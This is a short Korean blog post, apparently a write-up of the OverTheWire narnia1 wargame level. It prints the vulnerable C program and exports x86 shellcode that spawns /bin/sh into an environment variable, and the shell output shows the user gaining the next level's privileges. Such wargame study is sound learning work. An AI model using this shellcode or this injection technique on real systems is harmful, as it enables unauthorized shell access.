반응형

오예

l\narnia1@melinda:~$ cd /narnia

narnia1@melinda:/narnia$ ls

narnia0    narnia1    narnia2    narnia3    narnia4    narnia5    narnia6    narnia7    narnia8

narnia0.c  narnia1.c  narnia2.c  narnia3.c  narnia4.c  narnia5.c  narnia6.c  narnia7.c  narnia8.c

narnia1@melinda:/narnia$ cat narnia1.c


#include <stdio.h>


int main(){

        int (*ret)();


        if(getenv("EGG")==NULL){

                printf("Give me something to execute at the env-variable EGG\n");

                exit(1);

        }


        printf("Trying to execute EGG!\n");

        ret = getenv("EGG");

        ret();


        return 0;

}


narnia1@melinda:/narnia$ export EGG=`perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`


narnia1@melinda:/narnia$ ./narnia1

Trying to execute EGG!

$ whoami

narnia2

$ id

uid=14001(narnia1) gid=14001(narnia1) euid=14002(narnia2) groups=14002(narnia2),14001(narnia1)

$ cat /etc/narnia_pass/narnia2

$

처음에 에그라 해서 어 음 에그쉘?(본적만 있고 써본적이 엄슴) 이랬는데 잘읽어보니 이 프로그램은 EGG환경변수에 저장되어있는걸 무조건 실행합니다. 리턴어드레스를 EGG가 있는곳으로 바꾸니까여.


반응형

'STUDY > overthewire' 카테고리의 다른 글

bandit [1~7]  (0) 2014.05.17
narnia 1  (0) 2014.05.16
narnia 0  (0) 2014.05.16

+ Recent posts